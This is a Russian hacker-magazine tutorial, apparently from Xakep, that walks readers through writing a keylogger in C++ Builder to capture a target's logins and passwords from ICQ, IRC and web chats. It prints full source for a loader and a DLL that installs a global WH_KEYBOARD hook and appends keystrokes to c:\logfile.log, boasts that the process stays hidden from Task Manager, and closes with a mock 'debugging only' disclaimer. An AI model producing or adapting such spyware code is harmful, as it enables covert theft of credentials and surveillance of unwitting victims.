Миллиардер по имени Билл
Новый пароль, улыбаясь, вводил.
Быстро сработал KeySpy.exe —
Знает пароль каждый хакер в Москве 🙂

 

Привет, кул хацкер! Ну как, уже поюзал
прогу, исходники которой я выложил в
прошлой статье
про написание трояна? Прогресс не стоит на
месте, и теперь не стоит создавать себе
излишний церебральный секс (по-русски — "имение
мозгов" [прим.авт.]), выкачивая User.dat с его
компа, в надежде отковырять там его L&P.
Итак, счастье — дело техники (читай, софта), и
оно в твоих руках, хацкер!

Для обеспечения тебя сведениями о логине
и пароле врага, а также его мнении о тебе,
политике госдуратства 🙂 и пр. в аське, мирке
и даже WEB-чате идеально подходит
клавиатурный шпион, учебная версия
которого (с исходниками) и представлена
твоему вниманию. [В статье “Клавиатурный
шпион своими руками
” даны подробные
исходники на ассемблере. Автор крут (я
серьёзно). Ассемблер — хороший язык для
ускорения прог (особенно при работе с
графикой) и компактного кода, но такой код
не катит в качестве примера.]

Мои исходники — всё на том же C++, который
идеален с точки зрения учебно-познавательно-
быстроклепательных целей. Конкретно, тебе
понадобится С++ Builder любой версии и немного
умения работать в его среде разработки (если
умеешь на Дельфях — считай, умеешь работать
и на Builder’e 🙂

Для начала немного теории: в целях
упрощения отладки больших и сложных прог (мультипроцессовых
и многопоточных) в winAPI включена функция
SetWindowsHookEx, которая позволяет перехватывать
сообщения виндов, причём фильтруя их (в
зависимости от того, какие сообщения важны
при отладке [параметр idHook]). Функция на самом
деле очень мощная — вот пример, для чего её
можно использовать (а ты думал, только
кнопки пасти, да ? ;): 

WH_CALLWNDPROC — перехват всех сообщений, причём
до того как они были посланы системой
конкретному окну (это юзает утилита Spy++,
входящая в состав Visual C++).

WH_JOURNALRECORD и WH_JOURNALPLAYBACK — сладкая парочка для
записи и воспроизведения макросов (в
основном использовалась мной для
беспредельного глумления над существами с
именем Default User 🙂

WH_SHELL — представь, юзер давит Ctrl+Alt+Del, а
вместо Task Manager выполняется твоя функция!

WH_KEYBOARD — ну тут всё и так понятно (используется
в прилагаемых исходниках с известной целью
🙂 

Я перечислил не все возможности этой
кульной функции, а только те, которые можно
поюзать в нашем грязном деле 🙂 Об остальных
читай мои статьи под номером NEXT.

Но есть у этой функции своя беда — один из её
параметров [dwThreadId] должен указывать на
поток, сообщения к которому и следует
перехватывать. Если ты укажешь ID главного
потока своей проги — получишь клавиатурный
ввод только с него, а если этот параметр
будет 0 (все потоки) и функция обработки
будет находиться прямо внутри твоей проги —
нифига не получишь, потому что этот поток
будет также принадлежать ПРОЦЕССУ твоей
проги (только, к тому же, не будет главным
потоком 🙂 Выход из ситуации — создать новый
ПРОЦЕСС. Для чего из проги вызывается DLL (при
желании можно и EXE) с этой самой “шпионской
функцией” 😉 Заметь — эту DLL не видно не
только по Ctrl+Alt+Del, но и в списке процессов, а
всё потому, что новый процесс — “дитё”
главного процесса приложения (вот тебе и
идея, сыроватая правда, как из процессов
проги прятать 😉

А вот и долгожданные исходники — два
отдельных проекта;

1) Основная прога (File->New Application, затем
удалить “форму” и Unit1.cpp, затем выбрать
Project->View Source):

//—————————
/* <*.h> — заголовочные файлы, чтобы юзать
функции WinAPI и не только их */
#include <vcl.h>
#include <condefs.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//—————————————————————————
HHOOK hook; // Handle нашей "шпионской" функции
//—————————————————————————
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
// параметры и их тип в скобках указывать не
надо — и так работает 🙂
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию

// Юзаем нашу DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и
будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");

// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за
клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* её DLL */
0 /* Шпионить за всеми потоками в системе*/ );

while(1) {}; // Зацикливаем прогу, чтобы DLL висела
в памяти
}
//—————————

2) DLL (File->New…, затем выбрать “DLL”) —
обработчик сообщений от клавиатуры:

//—————————
#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
//—————————
// Объявляем функцию для того, чтобы
основная прога могла её поюзать из DLL
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//—————————
// "Шпионская" функция
//—————————
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f; // Указатель на файл

// Открываем файл с логом на добавление, если
его нет — создаём
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
// Просто пишем код нажатой кнопки в файл, но
// не отслеживаются заглавные/прописные,
// а также нажатие и удерживание одной
кнопки.
// (для этого анализируй параметр lParam)
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}

/* Перед выходом из функции — вызываем
нормальный обработчик
сообщений от клавы (что толку от шпиона,
если остальные
проги перестанут на клаву реагировать ? 🙂
*/
return CallNextHookEx(NULL, code, wParam, lParam);
}
//—————————
// Функция входа в DLL — её не оставляем как
есть
//—————————
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
//—————————

Кстати, если ты решил просто поиздеваться
над врагом — можно, не меняя кнопки на клаве
физически, поменять сообщения от кнопок (раз
уж они всё равно перехвачены, никто не
обязывает передавать их дальше в исходном
виде :)))

З.Ы. Если интересно — про процессы, потоки,
очереди сообщений и прочую виндовую
лабудень хорошо написано в MSDN. Приведённые
выше исходники — не более чем пример
программы для “отладки” очередей
сообщений под windows, а что ты, перец, с ними
делать надумал — знать не знаю 😉

З.З.Ы. Эта прога тестировалась на Win98 и WinXP, —
прокатило 🙂

1 комментарий

  1. 17.03.2015 at 23:14

    куда придут данные введенные с клавиатуры данные?

Оставить мнение

Check Also

Безумный олдскул. Самые необычные приставки и игровые аксессуары из прошлого

Если ты думаешь, что Guitar Hero, Kinect или Wii Remote — это странно, то спешим тебя заве…